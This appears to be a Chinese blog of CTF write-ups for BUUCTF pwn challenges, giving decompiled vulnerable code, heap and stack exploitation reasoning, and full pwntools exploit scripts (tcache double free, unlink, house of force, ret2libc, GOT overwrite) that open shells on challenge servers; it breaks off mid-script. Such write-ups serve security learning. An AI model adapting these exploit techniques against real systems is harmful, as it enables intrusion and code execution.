接下来就是考虑如何任意地址写,一开始想的是想办法去溢出然后控制堆大小,然后发现根本没有漏洞可以溢出。然后想起来double free,试了一下确实可以,所以思路就是double freetcache中,再通过addfd__free_hook,再申请出来即可实现任意地址写,但是tcache有一个检查,从tcache中取出堆之后这一行的下标不能为负数,所以可以通过三次释放同一个堆到tcache中的方式来增加数组下标值,此时再取出就可以通过检查了,但堆数量一定会超过。翻了翻笔记想起来tcache bin的大小范围在0x400之内,超过0x400直接进入unsorted bin,利用这一特点就不需要再去创建八个堆泄露地址了

exp如下:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 29084)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(name_size, name, phone_num):
    r.sendlineafter(b'choice:', b'1')
    r.sendlineafter(b"Please input the size of compary's name", str(name_size))
    r.sendafter(b'please input name:', name)
    r.sendafter(b'please input compary call:', phone_num)

def show(index):
    r.sendlineafter(b'choice:', b'2')
    r.sendlineafter(b'Please input the index:', str(index))

def delete(index):
    r.sendlineafter(b'choice:', b'3')
    r.sendlineafter(b'Please input the index:', str(index))

add(0x500, b'b', b'd')
add(0x50, b'b', b'd')

delete(0)
show(0)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0
libc = ELF('./2.27/libc-2.27.so')

free_hook = libc.sym['__free_hook'] + libc_base
one = [0x4f2c5, 0x4f322, 0x10a38c]
ogg = one[1] + libc_base

for i in range(3):
    add(0x88, p64(free_hook), b'a' * 4 + p64(free_hook))

for i in range(3):
    delete(3)

add(0x88, p64(free_hook), b'a' * 4 + p64(free_hook))

add(0x88, p64(ogg), b'a' * 4 + p64(ogg))
add(0x88, p64(ogg), b'a' * 4 + p64(ogg))

delete(0)

r.interactive()

axb_2019_brop64

没什么好说的就是一个单纯的ret2libc,exp如下:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 28900)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

pop_rdi_ret = 0x0000000000400963
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.sym['main']

p = b'a' * 0xd8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
r.sendlineafter(b'Please tell me:', p)
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

libc = ELF('./2.23/lib/x86_64-linux-gnu/libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']

one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
ogg = one[0] + libc_base

p = b'a' * 0xd8 + p64(ogg)
r.sendlineafter(b'Please tell me:', p)

r.interactive()

ciscn_2019_final_3

检查保护,保护全开

ciscn_2019_final_3  checksec pwn
[*] '/home/starrysky/buuctf/ciscn_2019_final_3/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

查看程序是一个堆题,只有添加和删除,但是向堆内添加的时候会给出堆地址。2.27libc中存在tcache,删除函数中存在UAF漏洞

unsigned __int64 add()
{
  ...
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &index);
  if ( ptr[index] || index > 24 )
    exit(0);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "input the size");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &size);
  if ( size <= 0x78 )
  {
    v2 = index;
    ptr[v2] = malloc(size);
    v3 = std::operator<<<std::char_traits<char>>(&std::cout, "now you can write something");
    std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
    sub_CBB(ptr[index], size);
    puts("OK!");
    printf("gift :%p\n", ptr[index]);
  }
  return __readfsqword(0x28u) ^ v7;
}
unsigned __int64 delete()
{
  __int64 v0; // rax
  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &index);
  if ( index > 24 )
    exit(0);
  free(ptr[index]);
  return __readfsqword(0x28u) ^ v3;
}

只给出了堆地址并且限制了堆大小必须小于0x78,第一步就是要泄露libc地址,方法就是通过UAF改堆的大小超过0x400,因为超过0x400的堆会直接进入unsorted bin,再把这个堆申请出来即可得到libc地址,再通过tcache__free_hookogg,其中,可以通过多次释放增加tcache数组下标值绕过tcache检查

exp如下:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 28000)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(index, size, content):
    r.sendlineafter(b'choice > ', b'1')
    r.sendlineafter(b'input the index', str(index))
    r.sendlineafter(b'input the size', str(size))
    r.sendafter(b'now you can write something', content)

def delete(index):
    r.sendlineafter(b'choice > ', b'2')
    r.sendlineafter(b'input the index', str(index))

add(0, 0x78, b'a'*0x78)

r.recvuntil(b'0x')
heap_addr = int(r.recv(12), 16)

for i in range(9):
    add(i + 1, 0x78, b'a'*0x78)

for i in range(3):
    delete(0)

add(10, 0x78, p64(heap_addr - 0x8))
add(11, 0x78, p64(heap_addr - 0x8))
add(12, 0x78, p64(0x481))

delete(10)

add(13, 0x60, b'a')

r.recvuntil(b'0x')
heap_addr = int(r.recv(12), 16)

add(14, 0x60, b'a')

for i in range(4):
    delete(14)

add(15, 0x60, p64(heap_addr))
for i in range(3):
    add(i + 16, 0x60, b'a')

r.recvuntil(b'0x')
libc_base = int(r.recv(12), 16) - 0x3ec061
libc = ELF('./2.27/libc-2.27.so')

free_hook = libc.sym['__free_hook'] + libc_base
one = [0x4f2c5, 0x4f322, 0x10a38c]
ogg = one[1] + libc_base

add(19, 0x40, b'a')
add(20, 0x40, b'a')

for i in range(3):
    delete(20)

add(21, 0x40, p64(free_hook))
add(22, 0x40, p64(free_hook))
add(23, 0x40, p64(ogg))

delete(0)

r.interactive()

axb_2019_heap

2.23off-by-one + unlink

unlink一开始没学好,一题看了几个小时(好痛苦

先检查保护

axb_2019_heap  checksec pwn
[*] '/home/starrysky/buuctf/axb_2019_heap/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序中一开始有一个格式化字符串漏洞来泄露地址代替show函数

unsigned __int64 banner()
{
  char format[12]; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Welcome to note management system!");
  printf("Enter your name: ");
  __isoc99_scanf("%s", format);
  printf("Hello, ");
  printf(format);
  puts("\n-------------------------------------");
  return __readfsqword(0x28u) ^ v2;
}

接着就是增删改,要求堆数量小于十个,并且存在堆管理

.bss:0000000000202060 ??                            note db    ? ;

edit中存在漏洞,可以实现一字节的溢出,并且edit是通过堆管理中的地址实现的

unsigned __int64 edit_note()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Enter an index:");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xA && *((_QWORD *)&note + 2 * (int)v1) )
  {
    puts("Enter the content: ");
    get_input(*((_QWORD *)&note + 2 * (int)v1), *((_DWORD *)&note + 4 * (int)v1 + 2));
    puts("Done!");
  }
  else
  {
    puts("You can't hack me!");
  }
  return __readfsqword(0x28u) ^ v2;
}

接下来先讲讲unlink机制,在释放一个属于unsorted bin的堆时候会去判断它的上一个堆或下一个堆是否是释放状态,即size位的末尾是否是0,而判断上一个堆的位置是通过prve_size,即当前地址减去上一个堆的大小得到上一个堆的地址,这里是可以伪造的

unlink操作中会存在一个检测机制,原理如下

#define unlink(AV, P, BK, FD) {                                            
    //判断chunk p的大小,是否与下一个chunk 的prev_size相等
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
      malloc_printerr ("corrupted size vs. prev_size");               
    //让FD指向p的下一个chunk,BK指向p的上一个chunk
    FD = P->fd;                                   
    BK = P->bk;                                   
    //以上是,chunk的大小在small bin范围内的断链操作
    //以下是,large bin,的断链操作,首先判断FD的bk,与BK的fd是否同时指向p
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))             
      malloc_printerr ("corrupted double-linked list");               
    else {                                    
        //首先进行初步断链,使FD的bk指向BK的fd,BK的fd指向FD,只是堆fd,bk的断链操作
        FD->bk = BK;                                  
        BK->fd = FD;                                  
        //以下使堆bk_nextsize,fd_nextsize的断链操作(large bin有两个双向链表,fd,bk用来
        //进行FIFO操作,bk_nextsize,fd_nextsize是根据堆块的大小进行排序的链表)
        //以下第一个if判断p的chunk是否在small范围内
        if (!in_smallbin_range (chunksize_nomask (P))                 
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {            
            //判断chunk p的下一个chunk的上一个节点,以及上一个chunk的下一个节点是不是p
        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        
        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
          malloc_printerr ("corrupted double-linked list (not small)");   
          //以下是luoarge bin的断链操作,首先判断chunk p的下下一个chunk的fd_nextsize是否为空
            if (FD->fd_nextsize == NULL) {                    
            //p的下下一个chunk的fd_nextsize为空
                if (P->fd_nextsize == P)                      
                //判断是否只有一个chunk p,是则如下
                  FD->fd_nextsize = FD->bk_nextsize = FD;             
                else {                                
                //不是以下操作,四个指针,正常的双向链表的断链操作
                    FD->fd_nextsize = P->fd_nextsize;                
                    FD->bk_nextsize = P->bk_nextsize;                 
                    P->fd_nextsize->bk_nextsize = FD;                 
                    P->bk_nextsize->fd_nextsize = FD;                 
                  }                               
              } else {                                
              //p的下下一个chunk的fd_nextsize不为空,直接断链
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;             
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;             
              }                                   
          }                                   
      }                                       
}

总结:unlink的判断:FD->bk == BK->fd

unlink的操作:FD->bk = BK BK->fd = FD

再回到这个题目,假设我们将fdbk设置成fd = note_addr - 0x18 bk = note_addr - 0x10,那么在判断的时候FD->bk = BK->fd = note_addr即可绕过unlink判断

那么在unlink操作的时候执行完FD->bk = BK BK->fd = FD之后note_addr = note_addr - 0x18,再去edit(0)即可控制note_addr - 0x18再次更改note_addr的内容为__free_hook,再次edit即可改__free_hook

经过以上分析可知:需要获取code_baselibc_base,所以在一开始泄露出来就好了

exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 25480)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(index, size, content):
    r.sendlineafter(b'>>', b'1')
    r.sendlineafter(b'Enter the index you want to create (0-10):', str(index))
    r.sendlineafter(b'Enter a size:', str(size))
    r.sendlineafter(b'Enter the content:', content)

def edit(index, content):
    r.sendlineafter(b'>>', b'4')
    r.sendlineafter(b'Enter an index:', str(index))
    r.sendlineafter(b'Enter the content:', content)

def delete(index):
    r.sendlineafter(b'>>', b'2')
    r.sendlineafter(b'Enter an index:', str(index))

r.sendlineafter(b'Enter your name: ', b'%11$p%15$p')

r.recvuntil(b'0x')
code_base = int(r.recv(12), 16) - 0x1186
note_addr = 0x202060 + code_base

r.recvuntil(b'0x')
libc_base = int(r.recv(12), 16) - 0x20830
libc = ELF('./2.23/lib/x86_64-linux-gnu/libc-2.23.so')

free_hook = libc.sym['__free_hook'] + libc_base
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
ogg = libc_base + one[1]
system = libc.sym['system'] + libc_base

fd = note_addr - 0x18
bk = note_addr - 0x10

add(0,0x88,b'a' * 0x88)
add(1,0x88,b'b' * 0x88)
add(2,0x88,b'/bin/sh\x00')

p = p64(0) + p64(0x80)
p += p64(fd)+ p64(bk)
p = p.ljust(0x80,b'\x00') + p64(0x80)
p += p8(0x90)
edit(0, p)

delete(1)

p = p64(0) * 3 + p64(free_hook) + p64(0x10)
edit(0, p)
edit(0, p64(system))

delete(2)

r.interactive()

护网杯_2018_gettingstart

栈题,保护全开,但是利用很简单

hwb_2018_gettingstart  checksec pwn         
[*] '/home/starrysky/buuctf/hwb_2018_gettingstart/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

主体代码如下

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 buf[3]; // [rsp+10h] [rbp-30h] BYREF
  __int64 v5; // [rsp+28h] [rbp-18h]
  double v6; // [rsp+30h] [rbp-10h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  ...
  read(0, buf, 0x28uLL);
  if ( v5 == 0x7FFFFFFFFFFFFFFFLL && v6 == 0.1 )
  {
    printf("HuWangBei CTF 2018 will be getting start after %g seconds...\n", v6);
    system("/bin/sh");
  }
  ...
}

通过buf覆盖v5v6为指定值即可,0.1在计算机中怎么表示我也不太会,但是看汇编

.text:0000000000000A36 48 8B 55 E8                   mov     rdx, [rbp+var_18]
.text:0000000000000A3A 48 B8 FF FF FF FF FF FF FF 7F mov     rax, 7FFFFFFFFFFFFFFFh
.text:0000000000000A44 48 39 C2                      cmp     rdx, rax
.text:0000000000000A47 75 45                         jnz     short loc_A8E
.text:0000000000000A47
.text:0000000000000A49 F2 0F 10 45 F0                movsd   xmm0, [rbp+var_10]
.text:0000000000000A4E 66 0F 2E 05 BA 01 00 00       ucomisd xmm0, cs:qword_C10
.text:0000000000000A56 7A 36                         jp      short loc_A8E
.text:0000000000000A56
.text:0000000000000A58 66 0F 2E 05 B0 01 00 00       ucomisd xmm0, cs:qword_C10
.text:0000000000000A60 75 2C                         jnz     short loc_A8E

其中有一个cs:qword_C10,双击进去就看到0.1在计算机中的值了

.rodata:0000000000000C08 FF FF FF FF FF FF EF 7F       qword_C08 dq 7FEFFFFFFFFFFFFFh          ; DATA XREF: main+4D↑r
.rodata:0000000000000C10 9A 99 99 99 99 99 B9 3F       qword_C10 dq 3FB999999999999Ah          ; DATA XREF: main+EE↑r

exp如下:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 25389)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

p = b'a' * (0x30 - 0x18) + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3fb999999999999a)
r.sendafter(b'But Whether it starts depends on you.', p)

r.interactive()

oneshot_tjctf_2016

先检查保护,基本上没开什么保护

oneshot_tjctf_2016  checksec pwn
[*] '/home/starrysky/buuctf/oneshot_tjctf_2016/pwn'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

程序过程就是读出指定地址的内容再执行指定地址的代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 (*v4)(void); // [rsp+8h] [rbp-8h] BYREF

  setbuf(stdout, 0LL);
  puts("Read location?");
  __isoc99_scanf("%ld", &v4);
  printf("Value: 0x%016lx\n", *(_QWORD *)v4);
  puts("Jump location?");
  __isoc99_scanf("%ld", &v4);
  puts("Good luck!");
  return v4();
}

读出puts_got再执行one gadget即可

exp如下

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 27973)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

puts_got = elf.got['puts']

r.sendlineafter(b'Read location?', str(puts_got))

r.recvuntil(b'0x')

libc = ELF('./2.23/lib/x86_64-linux-gnu/libc-2.23.so')
libc_base = int(r.recv(16), 16) - libc.sym['puts']

one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
ogg = one[0] + libc_base

r.sendlineafter(b'Jump location?', str(ogg))

r.interactive()

gyctf_2020_some_thing_exceting

2.23的堆题,利用了double free,感觉出题人很“脑洞大开”(思索

先检查保护,没开地址随机化

gyctf_2020_some_thing_exceting  checksec pwn
[*] '/home/starrysky/buuctf/gyctf_2020_some_thing_exceting/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

再来看程序,首先读取了flag并且保存在bss段的变量中

unsigned __int64 get_flag()
{
  FILE *stream; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  stream = fopen("/flag", "r");
  if ( !stream )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    exit(0);
  }
  byte_6020A0 = 96;
  fgets(s, 45, stream);
  return __readfsqword(0x28u) ^ v2;
}

接下来就是常规的增删查,没有改,增加函数中创建了三个堆,其中应该是堆管理,还有两个分别是bana,嗯没错就是banana

unsigned __int64 add()
{
  int nbytes; // [rsp+Ch] [rbp-24h] BYREF
  int nbytes_4; // [rsp+10h] [rbp-20h] BYREF
  int i; // [rsp+14h] [rbp-1Ch]
  void *buf; // [rsp+18h] [rbp-18h]
  void *v5; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  ...
  ptr[i] = malloc(0x10uLL);
  printf("> ba's length : ");
  _isoc99_scanf("%d", &nbytes);
  ...
  buf = malloc(nbytes);
  printf("> ba : ");
  read(0, buf, (unsigned int)nbytes);
  printf("> na's length : ");
  _isoc99_scanf("%d", &nbytes_4);
  ...
  printf("> na : ");
  v5 = malloc(nbytes_4);
  read(0, v5, (unsigned int)nbytes_4);
  *(_QWORD *)ptr[i] = buf;
  *((_QWORD *)ptr[i] + 1) = v5;
  ...
}

删除操作中存在UAF漏洞

unsigned __int64 delete()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  ...
  printf("> Banana ID : ");
  _isoc99_scanf("%d", &v1);
  ...
  free(*(void **)ptr[v1]);
  free(*((void **)ptr[v1] + 1));
  free(ptr[v1]);
  ...
}

查操作中输出的内容的地址是通过ptr这个堆管理中的地址来索引的

unsigned __int64 show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  ...
  printf("> Banana ID : ");
  printf("> SCP project ID : ");
  _isoc99_scanf("%d", &v1);
  ...
  printf("# Banana's ba is %s\n", *(const char **)ptr[v1]);
  printf("# Banana's na is %s\n", *((const char **)ptr[v1] + 1));
  ...
}

通过以上的分析可以大致想到本题的目的就是控制ptr堆管理中的堆指向的堆变成bss段上的s,并且通过show函数输出,通过UAF漏洞可以修改并申请fast bin中的堆地址,再输出就完成了,其中需要注意的是fast bin会检查申请的大小与取出的堆的size位是否一致,此时需要通过find fake fast寻找最近的fake chunk,并且需要使size和申请的堆大小一致

pwndbg> find_fake_fast 0x6020A8
FAKE CHUNKS
Fake chunk
Addr: 0x602098
prev_size: 0x00
size: 0x60 (with flag bits: 0x60)
fd: 0x7365747b67616c66
bk: 0xa7d74
fd_nextsize: 0x00
bk_nextsize: 0x00

该地址是s - 0x10,申请出来之后会要求向堆中写入内容,即向s写入,因为flag的格式开头第一个字母都是f,所以直接覆盖成f即可

exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 27418)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(size1, content1, size2, content2):
    r.sendlineafter(b'Now please tell me what you want to do :', b'1')
    r.sendlineafter(b"ba's length : ", str(size1))
    r.sendafter(b'ba : ', content1)
    r.sendlineafter(b"na's length : ", str(size2))
    r.sendafter(b'na : ', content2)

def show(index):
    r.sendlineafter(b'Now please tell me what you want to do :', b'4')
    r.sendlineafter(b'Banana ID : > SCP project ID : ', str(index))

def delete(index):
    r.sendlineafter(b'Now please tell me what you want to do :', b'3')
    r.sendlineafter(b'Banana ID : ', str(index))

flag = 0x6020A8

add(0x50, b'a', 0x50, b'a')
add(0x50, b'a', 0x50, b'a')

delete(0)
delete(1)
delete(0)

add(0x50, p64(flag - 0x10), 0x20, b'a' * 0x20)
add(0x50, b'f', 0x50, b'f')
add(0x50, b'f', 0x50, b'f')

show(0)

r.interactive()

wustctf2020_number_game

这题…看题目就能猜到应该是整型溢出,没开地址随机化

wustctf2020_number_game  checksec pwn
[*] '/home/starrysky/buuctf/wustctf2020_number_game/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

查看程序,要求数值小于零,直接上网查了32位的最小值-2147483648,然后就对了,过程如下

wustctf2020_number_game  nc node4.buuoj.cn 28416                    
   __  ___    ______   ___    
  /  |/  /__ /_  __/__<  /_ __
 / /|_/ / _ `// / / __/ /\ \ /
/_/  /_/\_,_//_/ /_/ /_//_\_\ 

-2147483648
cat flag
flag{a644cec2-87c2-43e0-93ac-d100b5bec8c5}

starctf_2019_babyshell

直接写入shellcode然后执行,需要注意的是有个检查

__int64 __fastcall sub_400786(_BYTE *a1)
{
  _BYTE *i; // [rsp+18h] [rbp-10h]

  while ( *a1 )
  {
    for ( i = &loc_400978; *i && *i != *a1; ++i )
      ;
    if ( !*i )
      return 0LL;
    ++a1;
  }
  return 1LL;
}

限制太多了必须想办法绕过这个检查,可以想到通过\x00绕过,但是\x00执行不了,直接把给定字符串强制转换成code

.rodata:0000000000400978                               loc_400978:                             ; DATA XREF: check+8↑o
.rodata:0000000000400978 5A                            pop     rdx
.rodata:0000000000400979 5A                            pop     rdx
.rodata:000000000040097A 4A 20 6C 6F 76                and     [rdi+r13*2+76h], bpl
.rodata:000000000040097F                               db      65h
.rodata:000000000040097F 65 73 20                      jnb     short near ptr loc_40099B+7
.rodata:000000000040097F
.rodata:0000000000400982 73 68                         jnb     short near ptr unk_4009EC
.rodata:0000000000400982
.rodata:0000000000400984                               db      65h
.rodata:0000000000400984 65 6C                         insb
.rodata:0000000000400986 6C                            insb
.rodata:0000000000400987 5F                            pop     rdi
.rodata:0000000000400988 63 6F 64                      movsxd  ebp, dword ptr [rdi+64h]
.rodata:000000000040098B                               db      65h
.rodata:000000000040098B 65 2C 61                      sub     al, 61h ; 'a'
.rodata:000000000040098E 6E                            outsb
.rodata:000000000040098F 64 20 68 65                   and     fs:[rax+65h], ch
.rodata:0000000000400993 72 65                         jb      short near ptr unk_4009FA
.rodata:0000000000400993
.rodata:0000000000400995 20 69 73                      and     [rcx+73h], ch
.rodata:0000000000400998 20 61 20                      and     [rcx+20h], ah
.rodata:000000000040099B
.rodata:000000000040099B                               loc_40099B:                             ; CODE XREF: .rodata:000000000040097F↑j
.rodata:000000000040099B 67 69 66 74 3A 0F 05 20       imul    esp, [esi+74h], 20050F3Ah
.rodata:00000000004009A3 65 6E                         outs    dx, byte ptr gs:[rsi]
.rodata:00000000004009A5 6A 6F                         push    6Fh ; 'o'
.rodata:00000000004009A7 79 20                         jns     short near ptr format+3         ; "ng shellcode!"
.rodata:00000000004009A7
.rodata:00000000004009A7                               ; ---------------------------------------------------------------------------
.rodata:00000000004009A9 69                            db  69h ; i
.rodata:00000000004009AA                               ; ---------------------------------------------------------------------------
.rodata:00000000004009AA 74 21                         jz      short near ptr format+7         ; "hellcode!"
.rodata:00000000004009AA
.rodata:00000000004009AC 0A 00                         or      al, [rax]

原字符串中含有\x0f\x05,即syscall,想到执行sys read,但是构造的中途就有\x00了,能正常执行就行,直接加shellcode

exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 29397)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)


shellcode = asm(shellcraft.sh())
r.sendafter(b'give me shellcode, plz:', b'\x6a\x00\x5f' + shellcode)

r.interactive()

wustctf2020_name_your_dog

32位的栈题,没开地址随机化

wustctf2020_name_your_dog  checksec pwn
[*] '/home/starrysky/buuctf/wustctf2020_name_your_dog/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

分析题目,主要就两个函数,vulnerable调用了Namewhich函数,传入的参数是bss段的变量,题目中还存在后门函数

int vulnerable()
{
  int result; // eax
  int i; // [esp+8h] [ebp-10h]
  int v2; // [esp+Ch] [ebp-Ch]

  result = puts("I bought you five male dogs.Name for them?");
  for ( i = 1; i <= 5; ++i )
  {
    v2 = NameWhich((int)&Dogs);
    printf("You get %d dogs!!!!!!\nWhatever , the author prefers cats ^.^\n", i);
    result = printf("His name is:%s\n\n", (const char *)(8 * v2 + 0x804A060));
  }
  return result;
}
int __cdecl NameWhich(int a1)
{
  int v2[4]; // [esp+18h] [ebp-10h] BYREF

  v2[1] = __readgsdword(0x14u);
  printf("Name for which?\n>");
  __isoc99_scanf("%d", v2);
  printf("Give your name plz: ");
  __isoc99_scanf("%7s", 8 * v2[0] + a1);
  return v2[0];
}

在选择输入哪个的时候并没有限制输入值在1-5,所以直接去覆盖scanfgot表到后面函数地址即可

exp如下

from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 27510)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

dog = 0x804A060
shell = 0x80485CB
printf_got = elf.got['printf']

choice = -7
r.sendlineafter(b'Name for which?', str(choice))

r.sendlineafter(b'Give your name plz: ', p32(shell))

r.interactive()

gyctf_2020_force

这题难倒不是很难,但是太太太折磨人啦!!!

看到题目就想到堆里的house_of_force,利用top chunk攻击,条件是可以溢出到top_chunk、可以申请任意大小的堆块,将top chunk堆大小改成-1之后申请到所需地址即可实现任意地址写

本题相当于只有一个add函数,并且限制了输入大小0x50

unsigned __int64 add()
{
  const void **i; // [rsp+0h] [rbp-120h]
  __int64 size; // [rsp+8h] [rbp-118h]
  char s[256]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 255, sizeof(s));
  for ( i = (const void **)&unk_202080; *i; ++i )
    ;
  if ( (char *)i - (char *)&unk_202080 > 39 )
    exit(0);
  puts("size");
  read(0, nptr, 0xFuLL);
  size = atol(nptr);
  *i = malloc(size);
  if ( !*i )
    exit(0);
  printf("bin addr %p\n", *i);
  puts("content");
  read(0, (void *)*i, 0x50uLL);
  puts("done");
  return __readfsqword(0x28u) ^ v4;
}

首先就是要先泄露libc,题目中可以输出创建的堆的地址,当堆大小大于0x20000的时候就会通过mmap创建堆并且位置与libc之间的偏移固定,通过这一点就可以得到libc基址

接下来只要通过top chunk申请到__malloc_hook改为ogg即可,但是尝试了所有的ogg包括使用one_gadget -l2输出了更多的ogg依然不行

在网上看了别人的wp发现条件没满足的时候可以通过realloc来调整是的满足对rsp的要求,因为realloc中存在sub rsp, 38h

所以本题的思路就是改__malloc_hookrealloc + 0x10,并且改__realloc__hookogg

exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 25442)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(size, content):
